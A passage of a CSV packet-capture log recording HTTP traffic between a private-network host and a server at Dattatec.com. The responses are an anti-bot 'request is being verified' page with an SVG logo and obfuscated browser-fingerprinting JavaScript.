\"\"openresty/1.27.1.1\"\", \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": \"\"{b'cf-edge-cache': b'no-cache'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"<!DOCTYPE html>\\n<html lang=\\\"\"en\\\"\">\\n<head>\\n  <meta charset=\\\"\"utf8\\\"\">\\n  <meta name=\\\"\"viewport\\\"\" content=\\\"\"width=device-width,initial-scale=1.0\\\"\">\\n  <script>\\n      (function(){\\n          setTimeout(function(){\\n              window.location.reload();\\n          }, 5000);\\n      }())\\n  </script>\\n  <link rel=\\\"\"icon\\\"\" href=\\\"\"data:,\\\"\">\\n  <title>One moment, please...</title>\\n  <style>\\n.spinner {\\n    -webkit-animation: spin 1s ease-out;\\n    animation: spin 1s ease-out;\\n}\\n@keyframes spin {\\n    0% {\\n        -webkit-transform: rotate(0deg);\\n        -moz-transform: rotate(0deg);\\n        -ms-transform: rotate(0deg);\\n        -o-transform: rotate(0deg);\\n        transform: rotate(0deg);\\n    }\\n    100% {\\n        -webkit-transform: rotate(360deg);\\n        -moz-transform: rotate(360deg);\\n        -ms-transform: rotate(360deg);\\n        -o-transform: rotate(360deg);\\n        transform: rotate(360deg);\\n    }\\n}\\n#outer-container {\\n    text-align: center;\\n}\\n#container {\\n        display: inline-block;\\n        height: 100px;\\n    }\\n#text {\\n    float: left;\\n    height: 100px;\\n    line-height: 100px;\\n    font-size: 3rem;\\n    font-family: \\\"\"Montserrat\\\"\", sans-serif;\\n    font-optical-sizing: auto;\\n    font-weight: 400;\\n    font-style: normal;\\n    padding: 0 .4em 0 .2em;\\n    letter-spacing: 0.06em;\\n    color: rgba(38, 122, 72, 0.86);\\n}\\n@media (min-height: 180px) {\\n    #outer-container {\\n        margin-top: 0;\\n    }\\n}\\n@media (min-height: 360px) {\\n    #outer-container {\\n        margin-top: 5%;\\n    }\\n}\\n@media (min-height: 540px) {\\n    #outer-container {\\n        margin-top: 10%;\\n    }\\n}\\n@media (min-height: 720px) {\\n    #outer-container {\\n        margin-top: 20%;\\n    }\\n}\\n@media (min-width: 1450px) {\\n    .throbber {\\n        width: 90px;\\n        height: 90px;\\n        float: left;\\n        padding: 5px 0 5px 5px;\\n        opacity: 0.86;\\n    }\\n    #container {\\n        display: inline-block;\\n        border: 3px solid rgb(38, 122, 72, 0.86);\\n        border-radius: 51px;\\n        height: 100px;\\n    }\\n}\\n\\n  </style>\\n</head>\\n<body>\\n  <div id=\\\"\"outer-container\\\"\">\\n    <div id=\\\"\"container\\\"\">\\n<div class=\\\"\"throbber\\\"\">\\n    <svg class=\\\"\"spinner\\\"\" width=\\\"\"90px\\\"\" height=\\\"\"90px\\\"\" viewBox=\\\"\"0 0 47 47\\\"\"\\n         version=\\\"\"1.1\\\"\"\\n         xmlns=\\\"\"http://www.w3.org/2000/svg\\\"\"\\n         xmlns:xlink=\\\"\"http://www.w3.org/1999/xlink\\\"\">\\n        <title>Loader</title>\\n        <defs>\\n            <polygon id=\\\"\"path-1\\\"\"\\n                     points=\\\"\"0 0.375484146 0 15.7255695 15.7013244 15.7255695 15.7013244 0.375484146 0 0.375484146\\\"\"></polygon>\\n        </defs>\\n        <g id=\\\"\"Page-1\\\"\" stroke=\\\"\"none\\\"\" stroke-width=\\\"\"1\\\"\" fill=\\\"\"none\\\"\"\\n           fill-rule=\\\"\"evenodd\\\"\">\\n            <g id=\\\"\"Logo\\\"\" transform=\\\"\"translate(-5.000000, -2.000000)\\\"\">\\n                <g id=\\\"\"Group-2\\\"\" transform=\\\"\"translate(5.000000, 2.000000)\\\"\">\\n                    <path d=\\\"\"M22.6150244,4.52988293 C23.1538049,3.06256585 23.6031707,1.59582195 24.231939,0.158882927 C25.1902805,2.22459024 25.8190488,4.43989512 26.7768171,6.47579756 C29.1417195,7.40376098 31.7164024,7.7929439 34.1116829,8.69110244 C28.9623171,11.2663585 23.7229634,13.7510537 18.4836098,16.176139 C19.7709512,12.2545049 21.2382683,8.4217122 22.6150244,4.52988293 L22.6150244,4.52988293 Z\\\"\"\\n                          id\"\"}}]\"\n2026-04-28 08:17:10.045155,25,TCP 192.168.122.168:50146 -> 200.58.112.73:80,192.168.122.168,200.58.112.73,50146,80,TCP,Internal,Private Network,,,,,,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,A,,,Ether > IP > TCP,3,TCP A Seq=1929701695 Ack=2107329374,525400577f945254007bb79208004500002806e040008006801bc0a87aa8c83a7049c3e200507304e93f7d9b4b5e5010201473ef0000,RT.W..RT.{....E..(..@.......z..:pI...Ps..?}.K^P. .s...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1760, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 32795, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"200.58.112.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50146, \"\"dport\"\": 80, \"\"seq\"\": 1929701695, \"\"ack\"\": 2107329374, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 29679, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 08:17:10.071711,26,TCP 200.58.112.73:80 -> 192.168.122.168:50146,200.58.112.73,192.168.122.168,80,50146,TCP,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=2107329374 Ack=1929701695,5254007bb792525400577f94080045000ff847c9400040066f62c83a7049c0a87aa80050c3e27d9b4b5e7304e93f5018005283bf00003d2246696c6c2d31222066696c6c3d2223343637433435223e3c2f706174683e0a20202020202020202020202020202020202020203c7061746820643d224d31332e373731383539382c382e3934343631353835204331362e313432343933392c372e36383037373433392031382e343530303739332c362e32383936383930322032302e383230373133342c352e3032353237343339204331382e393234303931352c31302e383431323337382031362e373734373031322c31362e353631343831372031342e383436353534392c32322e33373734343531204331322e373239323632322c31382e333935303534392031302e3839353638392c31342e3235343436393520382e393034343933392c31302e323039303330352043382e32373232383635392c382e383530303432363820372e353435353036312c372e353533353330343920372e30303834343531322c362e31363335393134362043392e33313534353733322c362e39353334323037332031312e343634383437362c382e32343933353937362031332e373731383539382c382e3934343631353835220a202020202020202020202020202020202020202020202020202069643d2246696c6c2d33222066696c6c3d2223343637433435223e3c2f706174683e0a20202020202020202020202020202020202020203c7061746820643d224d32342e323133343235362c31352e30373435303439204332392e343630323330352c31322e343936393536312033342e373337393836362c392e39313934303733322034302e303135373432372c372e34303331383738204333392e313536353539382c392e36313237363039382033382e313734373138332c31312e373330303533372033372e323233323534392c31332e39303836373536204333382e343530343133342c31362e323039393536312033392e393534343133342c31382e3338383537382034312e303839383634362c32302e37353131383738204333352e343433353539382c31382e393430353431352032392e383238373739332c31372e303338313837382032342e323133343235362c31352e30373435303439220a202020202020202020202020202020202020202020202020202069643d2246696c6c2d35222066696c6c3d2223343637433435223e3c2f706174683e0a20202020202020202020202020202020202020203c672069643d2247726f75702d39220a20202020202020202020202020202020202020202020207472616e73666f726d3d227472616e736c61746528302e3030303030302c2031312e39313936353929223e0a2020202020202020202020202020202020202020202020203c6d61736b2069643d226d61736b2d32222066696c6c3d227768697465223e0a202020202020202020202020202020202020202020202020202020203c75736520786c696e6b3a687265663d2223706174682d31223e3c2f7573653e0a2020202020202020202020202020202020202020202020203c2f6d61736b3e0a2020202020202020202020202020202020202020202020203c672069643d22436c69702d38223e3c2f673e0a2020202020202020202020202020202020202020202020203c7061746820643d224d382e33343836393032342c302e3337353438343134362043392e39333036343134362c332e33333431393134362031312e323738313635392c362e34333936333034392031322e373432363137312c392e3435363232383035204331332e373338373837382c31312e353336323634362031342e3739333432322c31332e353837363432372031352e373031333234342c31352e37323535363935204331302e343537393538352c31332e3930393139313520352e32313430313935312c31322e3033343335202d302e3030303131343633343134362c31302e303731383133342043322e30353036393032342c392e3133343130363120342e32313834323139352c382e3438393836323220362e32393834353835342c372e36313131393134362043362e39373139333431352c352e313739383031323220372e36373532313436332c322e373737303639353120382e33343836393032342c302e333735343834313436220a20202020202020202020202020202020202020202020202020202020202069643d2246696c6c2d37222066696c6c3d2223343637433435220a2020202020202020202020202020202020202020202020202020202020206d61736b3d2275726c28236d61736b2d3229223e3c2f706174683e0a20202020202020202020202020202020202020203c2f673e0a20202020202020202020202020202020202020203c7061746820643d224d32392e313739333139352c31382e30343936303439204333332e353630303633342c31392e343637303536312033372e393038313336362c32312e303737363635392034322e323838383830352c32322e35353933313232204334332e363734323334312c32332e303734353932372034352e313535383830352c32332e343630393039382034362e353038353633342c32342e31333732353132204334342e323231363132322c32352e3033393432322034312e393032353633342c32352e393130303638332033392e363437373039382c32362e38313130393237204333382e383130333037332c32392e343139353932372033382e323330323538352c33322e313236313034392033372e333630373538352c33342e37333436303439204333352e353839303837382c33312e343439373633342033342e303433323436332c32382e303335333835342033322e333638343431352c32342e36383532303234204333312e333035323039382c32322e343934353433392033302e313435363835342c32302e333034343538352032392e313739333139352c31382e30343936303439220a202020202020202020202020202020202020202020202020202069643d2246696c6c2d3130222066696c6c3d2223343637433435223e3c2f706174683e0a20202020202020202020202020202020202020203c7061746820643d224d32382e393937323233322c32392e33343839323037204332392e353738393931352c32372e36393437352033302e303638343739332c32362e303131333437362033302e373431393534392c32342e33383837303132204333312e3533383038392c32352e373636303330352033322e313831313836362c32372e323335363430322033322e393135343138332c32382e36343434393339204333342e373232303532342c33322e343730393831372033362e36383131352c33362e3230353138392033382e343536383332392c34302e30333136373638204333362e323832373936332c33392e313434393831372033342e313430323834312c33382e313635343332392033312e393336343432372c33372e32343630363731204332392e363430333230372c33382e343730393332392032372e343636323834312c33392e393430353432372032352e313039343036312c34312e31303335303631204332362e333033333230372c33372e313534393332392032372e373431393739332c33332e323637313135392032382e393937323233322c32392e33343839323037220a202020202020202020202020202020202020202020202020202069643d2246696c6c2d3132222066696c6c3d2223343637433435223e3c2f706174683e0a20202020202020202020202020202020202020203c7061746820643d224d342e39373133333930322c32352e36343535352043392e39333338353132322c32372e313837333739332031342e373733373034392c32392e3033363432382031392e363734383837382c33302e36373035333738204332302e343134383531322c33302e393137303031322032312e313534323431352c33312e313934343135392032312e383332383735362c33312e35333337333239204331362e353330343733322c33332e393638353632322031312e333231343937362c33362e3634393835343920352e39353737363538352c33382e39393335352043362e38323039363039382c33362e3833353536323220372e38393936363832392c33342e3736393835343920382e373331393132322c33322e3538313438392043372e36383335383239332c33302e3137363436343620362e31313139343837382c32382e303139303520342e39373133333930322c32352e3634353535220a202020202020202020202020202020202020202020202020202069643d2246696c6c2d3134222066696c6c3d2223343637433435223e3c2f706174683e0a20202020202020202020202020202020202020203c7061746820643d224d31352e343534393138332c33352e38373730343838204331392e343637313133342c33332e393331373037332032332e343438333537332c33312e383935323331372032372e343931353033372c33302e30343333313731204332362e343131303736382c33332e363534323932372032352e303232323834312c33372e3230333933392032332e383138363235362c34302e38313433343135204332332e313039303430322c34322e373237353835342032322e353533303634362c34342e373033333034392032312e373531313938382c34362e35383535393736204332302e373633303532342c34342e343836363436332032302e303533343637312c34322e323635303336362031392e313237373936332c34302e31333531333431204331362e363237363235362c33392e323039343633342031342e303034323233322c33382e3638343433392031312e343733363734342c33372e39373438353337204331322e363737333332392c33372e303830313334312031342e313538343036312c33362e3538363036312031352e343534393138332c33352e38373730343838220a202020202020202020202020202020202020202020202020202069643d2246696c6c2d3136222066696c6c3d2223343637433435223e3c2f706174683e0a202020202020202020202020202020203c2f673e0a2020202020202020202020203c2f673e0a20202020202020203c2f673e0a202020203c2f7376673e0a3c2f6469763e0a2020202020203c6469762069643d2274657874223e0a2020202020202020506c656173652077616974207768696c6520796f75722072657175657374206973206265696e672076657269666965642e2e2e0a2020202020203c2f6469763e0a202020203c2f6469763e0a20203c2f6469763e0a20203c6469762069643d2279376c697871783764366364223e3c2f6469763e0a20203c7363726970743e0a2866756e6374696f6e28552c73297b766172206130493d7b553a30783137652c733a30783136612c6d3a30783136392c503a30783139332c443a30783139302c4c3a30783135657d2c4e3d6130502c6d3d5528293b7768696c652821215b5d297b7472797b76617220503d7061727365496e74284e286130492e5529292f3078312b7061727365496e74284e28307831393729292f307832,\"=\"\"Fill-1\"\" fill=\"\"#467C45\"\"></path>\n                    <path d=\"\"M13.7718598,8.94461585 C16.1424939,7.68077439 18.4500793,6.28968902 20.8207134,5.02527439 C18.9240915,10.8412378 16.7747012,16.5614817 14.8465549,22.3774451 C12.7292622,18.3950549 10.895689,14.2544695 8.9044939,10.2090305 C8.27228659,8.85004268 7.5455061,7.55353049 7.00844512,6.16359146 C9.31545732,6.95342073 11.4648476,8.24935976 13.7718598,8.94461585\"\"\n                          id=\"\"Fill-3\"\" fill=\"\"#467C45\"\"></path>\n                    <path d=\"\"M24.2134256,15.0745049 C29.4602305,12.4969561 34.7379866,9.91940732 40.0157427,7.4031878 C39.1565598,9.61276098 38.1747183,11.7300537 37.2232549,13.9086756 C38.4504134,16.2099561 39.9544134,18.388578 41.0898646,20.7511878 C35.4435598,18.9405415 29.8287793,17.0381878 24.2134256,15.0745049\"\"\n                          id=\"\"Fill-5\"\" fill=\"\"#467C45\"\"></path>\n                    <g id=\"\"Group-9\"\"\n                       transform=\"\"translate(0.000000, 11.919659)\"\">\n                        <mask id=\"\"mask-2\"\" fill=\"\"white\"\">\n                            <use xlink:href=\"\"#path-1\"\"></use>\n                        </mask>\n                        <g id=\"\"Clip-8\"\"></g>\n                        <path d=\"\"M8.34869024,0.375484146 C9.93064146,3.33419146 11.2781659,6.43963049 12.7426171,9.45622805 C13.7387878,11.5362646 14.793422,13.5876427 15.7013244,15.7255695 C10.4579585,13.9091915 5.21401951,12.03435 -0.000114634146,10.0718134 C2.05069024,9.1341061 4.21842195,8.4898622 6.29845854,7.61119146 C6.97193415,5.17980122 7.67521463,2.77706951 8.34869024,0.375484146\"\"\n                              id=\"\"Fill-7\"\" fill=\"\"#467C45\"\"\n                              mask=\"\"url(#mask-2)\"\"></path>\n                    </g>\n                    <path d=\"\"M29.1793195,18.0496049 C33.5600634,19.4670561 37.9081366,21.0776659 42.2888805,22.5593122 C43.6742341,23.0745927 45.1558805,23.4609098 46.5085634,24.1372512 C44.2216122,25.039422 41.9025634,25.9100683 39.6477098,26.8110927 C38.8103073,29.4195927 38.2302585,32.1261049 37.3607585,34.7346049 C35.5890878,31.4497634 34.0432463,28.0353854 32.3684415,24.6852024 C31.3052098,22.4945439 30.1456854,20.3044585 29.1793195,18.0496049\"\"\n                          id=\"\"Fill-10\"\" fill=\"\"#467C45\"\"></path>\n                    <path d=\"\"M28.9972232,29.3489207 C29.5789915,27.69475 30.0684793,26.0113476 30.7419549,24.3887012 C31.538089,25.7660305 32.1811866,27.2356402 32.9154183,28.6444939 C34.7220524,32.4709817 36.68115,36.205189 38.4568329,40.0316768 C36.2827963,39.1449817 34.1402841,38.1654329 31.9364427,37.2460671 C29.6403207,38.4709329 27.4662841,39.9405427 25.1094061,41.1035061 C26.3033207,37.1549329 27.7419793,33.2671159 28.9972232,29.3489207\"\"\n                          id=\"\"Fill-12\"\" fill=\"\"#467C45\"\"></path>\n                    <path d=\"\"M4.97133902,25.64555 C9.93385122,27.1873793 14.7737049,29.036428 19.6748878,30.6705378 C20.4148512,30.9170012 21.1542415,31.1944159 21.8328756,31.5337329 C16.5304732,33.9685622 11.3214976,36.6498549 5.95776585,38.99355 C6.82096098,36.8355622 7.89966829,34.7698549 8.7319122,32.581489 C7.68358293,30.1764646 6.11194878,28.01905 4.97133902,25.64555\"\"\n                          id=\"\"Fill-14\"\" fill=\"\"#467C45\"\"></path>\n                    <path d=\"\"M15.4549183,35.8770488 C19.4671134,33.9317073 23.4483573,31.8952317 27.4915037,30.0433171 C26.4110768,33.6542927 25.0222841,37.203939 23.8186256,40.8143415 C23.1090402,42.7275854 22.5530646,44.7033049 21.7511988,46.5855976 C20.7630524,44.4866463 20.0534671,42.2650366 19.1277963,40.1351341 C16.6276256,39.2094634 14.0042232,38.684439 11.4736744,37.9748537 C12.6773329,37.0801341 14.1584061,36.586061 15.4549183,35.8770488\"\"\n                          id=\"\"Fill-16\"\" fill=\"\"#467C45\"\"></path>\n                </g>\n            </g>\n        </g>\n    </svg>\n</div>\n      <div id=\"\"text\"\">\n        Please wait while your request is being verified...\n      </div>\n    </div>\n  </div>\n  <div id=\"\"y7lixqx7d6cd\"\"></div>\n  <script>\n(function(U,s){var a0I={U:0x17e,s:0x16a,m:0x169,P:0x193,D:0x190,L:0x15e},N=a0P,m=U();while(!![]){try{var P=parseInt(N(a0I.U))/0x1+parseInt(N(0x197))/0x2\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 4088, \"\"id\"\": 18377, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28514, \"\"src\"\": \"\"200.58.112.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50146, \"\"seq\"\": 2107329374, \"\"ack\"\": 1929701695, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 82, \"\"chksum\"\": 33727, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"=\\\"\"Fill-1\\\"\" fill=\\\"\"#467C45\\\"\"></path>\\n                    <path d=\\\"\"M13.7718598,8.94461585 C16.1424939,7.68077439 18.4500793,6.28968902 20.8207134,5.02527439 C18.9240915,10.8412378 16.7747012,16.5614817 14.8465549,22.3774451 C12.7292622,18.3950549 10.895689,14.2544695 8.9044939,10.2090305 C8.27228659,8.85004268 7.5455061,7.55353049 7.00844512,6.16359146 C9.31545732,6.95342073 11.4648476,8.24935976 13.7718598,8.94461585\\\"\"\\n                          id=\\\"\"Fill-3\\\"\" fill=\\\"\"#467C45\\\"\"></path>\\n                    <path d=\\\"\"M24.2134256,15.0745049 C29.4602305,12.4969561 34.7379866,9.91940732 40.0157427,7.4031878 C39.1565598,9.61276098 38.1747183,11.7300537 37.2232549,13.9086756 C38.4504134,16.2099561 39.9544134,18.388578 41.0898646,20.7511878 C35.4435598,18.9405415 29.8287793,17.0381878 24.2134256,15.0745049\\\"\"\\n                          id=\\\"\"Fill-5\\\"\" fill=\\\"\"#467C45\\\"\"></path>\\n                    <g id=\\\"\"Group-9\\\"\"\\n                       transform=\\\"\"translate(0.000000, 11.919659)\\\"\">\\n                        <mask id=\\\"\"mask-2\\\"\" fill=\\\"\"white\\\"\">\\n                            <use xlink:href=\\\"\"#path-1\\\"\"></use>\\n                        </mask>\\n                        <g id=\\\"\"Clip-8\\\"\"></g>\\n                        <path d=\\\"\"M8.34869024,0.375484146 C9.93064146,3.33419146 11.2781659,6.43963049 12.7426171,9.45622805 C13.7387878,11.5362646 14.793422,13.5876427 15.7013244,15.7255695 C10.4579585,13.9091915 5.21401951,12.03435 -0.000114634146,10.0718134 C2.05069024,9.1341061 4.21842195,8.4898622 6.29845854,7.61119146 C6.97193415,5.17980122 7.67521463,2.77706951 8.34869024,0.375484146\\\"\"\\n                              id=\\\"\"Fill-7\\\"\" fill=\\\"\"#467C45\\\"\"\\n                              mask=\\\"\"url(#mask-2)\\\"\"></path>\\n                    </g>\\n                    <path d=\\\"\"M29.1793195,18.0496049 C33.5600634,19.4670561 37.9081366,21.0776659 42.2888805,22.5593122 C43.6742341,23.0745927 45.1558805,23.4609098 46.5085634,24.1372512 C44.2216122,25.039422 41.9025634,25.9100683 39.6477098,26.8110927 C38.8103073,29.4195927 38.2302585,32.1261049 37.3607585,34.7346049 C35.5890878,31.4497634 34.0432463,28.0353854 32.3684415,24.6852024 C31.3052098,22.4945439 30.1456854,20.3044585 29.1793195,18.0496049\\\"\"\\n                          id=\\\"\"Fill-10\\\"\" fill=\\\"\"#467C45\\\"\"></path>\\n                    <path d=\\\"\"M28.9972232,29.3489207 C29.5789915,27.69475 30.0684793,26.0113476 30.7419549,24.3887012 C31.538089,25.7660305 32.1811866,27.2356402 32.9154183,28.6444939 C34.7220524,32.4709817 36.68115,36.205189 38.4568329,40.0316768 C36.2827963,39.1449817 34.1402841,38.1654329 31.9364427,37.2460671 C29.6403207,38.4709329 27.4662841,39.9405427 25.1094061,41.1035061 C26.3033207,37.1549329 27.7419793,33.2671159 28.9972232,29.3489207\\\"\"\\n                          id=\\\"\"Fill-12\\\"\" fill=\\\"\"#467C45\\\"\"></path>\\n                    <path d=\\\"\"M4.97133902,25.64555 C9.93385122,27.1873793 14.7737049,29.036428 19.6748878,30.6705378 C20.4148512,30.9170012 21.1542415,31.1944159 21.8328756,31.5337329 C16.5304732,33.9685622 11.3214976,36.6498549 5.95776585,38.99355 C6.82096098,36.8355622 7.89966829,34.7698549 8.7319122,32.581489 C7.68358293,30.1764646 6.11194878,28.01905 4.97133902,25.64555\\\"\"\\n                          id=\\\"\"Fill-14\\\"\" fill=\\\"\"#467C45\\\"\"></path>\\n                    <path d=\\\"\"M15.4549183,35.8770488 C19.4671134,33.9317073 23.4483573,31.8952317 27.4915037,30.0433171 C26.4110768,33.6542927 25.0222841,37.203939 23.8186256,40.8143415 C23.1090402,42.7275854 22.5530646,44.7033049 21.7511988,46.5855976 C20.7630524,44.4866463 20.0534671,42.2650366 19.1277963,40.1351341 C16.6276256,39.2094634 14.0042232,38.684439 11.4736744,37.9748537 C12.6773329,37.0801341 14.1584061,36.586061 15.4549183,35.8770488\\\"\"\\n                          id=\\\"\"Fill-16\\\"\" fill=\\\"\"#467C45\\\"\"></path>\\n                </g>\\n            </g>\\n        </g>\\n    </svg>\\n</div>\\n      <div id=\\\"\"text\\\"\">\\n        Please wait while your request is being verified...\\n      </div>\\n    </div>\\n  </div>\\n  <div id=\\\"\"y7lixqx7d6cd\\\"\"></div>\\n  <script>\\n(function(U,s){var a0I={U:0x17e,s:0x16a,m:0x169,P:0x193,D:0x190,L:0x15e},N=a0P,m=U();while(!![]){try{var P=parseInt(N(a0I.U))/0x1+parseInt(N(0x197))/0x2\"\"}}]\"\n2026-04-28 08:17:10.071749,27,TCP 200.58.112.73:80 -> 192.168.122.168:50146,200.58.112.73,192.168.122.168,80,50146,TCP,Argentina,Rosario,27823,Dattatec.com,-32.954,-60.6634,200.58.96.0/19,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=2107333422 Ack=1929701695,5254007bb792525400577f94080045000b9047cc4000400673c7c83a7049c0a87aa80050c3e27d9b5b2e7304e93f501800527f5700002a287061727365496e74284e286130492e7329292f307833292b2d7061727365496e74284e286130492e6d29292f3078342b2d7061727365496e74284e28307831383129292f3078352a282d7061727365496e74284e286130492e5029292f307836292b2d7061727365496e74284e286130492e4429292f3078372b7061727365496e74284e28307831383729292f3078382a287061727365496e74284e286130492e4c29292f307839292b2d7061727365496e74284e28307831376229292f3078612a287061727365496e74284e28307831373629292f307862293b696628503d3d3d7329627265616b3b656c7365206d5b2770757368275d286d5b277368696674275d2829293b7d63617463682844297b6d5b2770757368275d286d5b277368696674275d2829293b7d7d7d2861306d2c3078353330363129293b66756e6374696f6e2061306d28297b76617220653d5b27666f726d272c2764343930333062333439272c27646f63756d656e74272c27656e7472696573272c273136717641426f6e272c276c616e6775616765272c27746f537472696e67272c27696e707574272c2742794964272c27676574456c656d656e74272c27617070656e644368696c272c275f5f70726f746f5f5f272c276e616d65272c273135373135304a6244434559272c27666f7245616368272c276f757465725769647468272c273333383638326259626c4868272c2776616c7565272c2774797065272c27646973706c61793a6e6f272c2734366c6548415746272c276170706c79272c27474554272c276d6170272c2732333637353835577365584f77272c277375626d6974272c2770726f746f74797065272c276d696d655479706573272c276e653b272c276164644576656e744c69272c27736561726368272c27757365724167656e74272c276c656e677468272c276f70656e272c27656e74272c273239323238384b5a434f6a70272c2736393835356a5963497168272c27706c7567696e73272c2731623431623038663132272c272828282e2b292b292b29272c2730393530363335303237272c2774656368616e6765272c2766696c746572272c276174746163684576656e272c276c616e677561676573272c276f6e7265616479737461272c27637265617465456c656d272c27636f6e7374727563746f272c27313156616c50724b272c276f757465724865696768272c277374656e6572272c2737666133623736376334272c27617070656e64272c2731333434393739304a506b547845272c2773656e64272c27776562647269766572272c27363632343334644a66756961272c2761363130356330613631272c2768696464656e272c27354e6c6e774949272c274c6f61646564275d3b61306d3d66756e6374696f6e28297b72657475726e20653b7d3b72657475726e2061306d28293b7d766172206130443d77696e646f775b276e6176696761746f72275d2c61304c3d7b27776562647269766572436865636b273a66756e6374696f6e28297b76617220783d6130503b72657475726e2777656264726976657227696e2077696e646f777c7c21216130445b78283078313764295d3b7d2c27757365724167656e74436865636b273a66756e6374696f6e28297b766172206130513d7b553a30783136357d2c723d6130503b72657475726e2f686561646c6573737c627974657370696465722f695b2774657374275d286130445b72286130512e55295d293b7d2c2761707056657273696f6e436865636b273a66756e6374696f6e28297b72657475726e2f686561646c6573732f695b2774657374275d286130445b2761707056657273696f6e275d293b7d2c27706c7567696e417272617953706f6f66696e67273a66756e6374696f6e28297b766172206130633d7b553a30783136622c733a30783138652c6d3a30783136367d2c643d6130503b6c657420553d506c7567696e41727261795b64283078313630295d3d3d3d6130445b64286130632e55295d5b64286130632e73295d3b6966286130445b64286130632e55295d5b64286130632e6d295d3e3078302955263d506c7567696e5b64283078313630295d3d3d3d6130445b27706c7567696e73275d5b3078305d5b64283078313865295d3b72657475726e21553b7d2c276d696d6554797065417272617953706f6f66696e67273a66756e6374696f6e28297b766172206130583d7b553a30783136302c733a30783138652c6d3a30783136302c503a30783136317d2c5a3d6130503b6c657420553d4d696d655479706541727261795b5a286130582e55295d3d3d3d6130445b276d696d655479706573275d5b5a286130582e73295d3b6966286130445b5a283078313631295d5b5a283078313636295d3e3078302955263d4d696d65547970655b5a286130582e6d295d3d3d3d6130445b5a286130582e50295d5b3078305d5b5a286130582e73295d3b72657475726e21553b7d2c276e6f4c616e6775616765273a66756e6374696f6e28297b766172206130473d7b553a30783137327d2c613d6130503b72657475726e216130445b61283078313838295d7c7c6130445b61286130472e55295d5b61283078313636295d3d3d3d3078303b7d2c277a65726f4f7574657244696d656e73696f6e73273a66756e6374696f6e28297b76617220483d6130503b72657475726e2077696e646f775b48283078313737292b2774275d3d3d3d307830262677696e646f775b48283078313932295d3d3d3d3078303b7d7d2c6130763d66756e6374696f6e286d2c50297b766172206130533d7b553a30783136332c733a30783137382c6d3a30783138352c503a30783136332c443a30783137337d2c61306b3d7b553a30783136342c733a30783136642c6d3a30783138392c503a30783137357d2c423d6130502c443d2866756e6374696f6e28297b76617220763d21215b5d3b72657475726e2066756e6374696f6e28592c4b297b76617220433d763f66756e6374696f6e28297b76617220523d6130503b6966284b297b76617220683d4b5b52283078313938295d28592c617267756d656e7473293b72657475726e204b3d6e756c6c2c683b7d7d3a66756e6374696f6e28297b7d3b72657475726e20763d215b5d2c433b7d3b7d2829292c4c3d4428746869732c66756e6374696f6e28297b76617220673d6130503b72657475726e204c5b67283078313839295d28295b672861306b2e55295d28672861306b2e73292b272b2427295b672861306b2e6d295d28295b672861306b2e50292b2772275d284c295b67283078313634295d28272828282e2b292b292b29272b272b2427293b7d293b4c28292c77696e646f775b42286130532e55292b42286130532e73295d3f77696e646f775b42286130532e6d295d5b42286130532e50292b42283078313738295d2827444f4d436f6e74656e74272b42283078313832292c6d2c50293a77696e646f775b42286130532e6d295d5b42283078313731292b2774275d2842286130532e44292b42283078313666292c6d293b7d3b66756e6374696f6e2061305028552c73297b766172206d3d61306d28293b72657475726e206130503d66756e6374696f6e28502c44297b503d502d30783135643b766172204c3d6d5b505d3b72657475726e204c3b7d2c61305028552c73293b7d6130762866756e6374696f6e28297b766172206130703d7b553a30783138632c733a30783138622c6d3a30783138352c503a307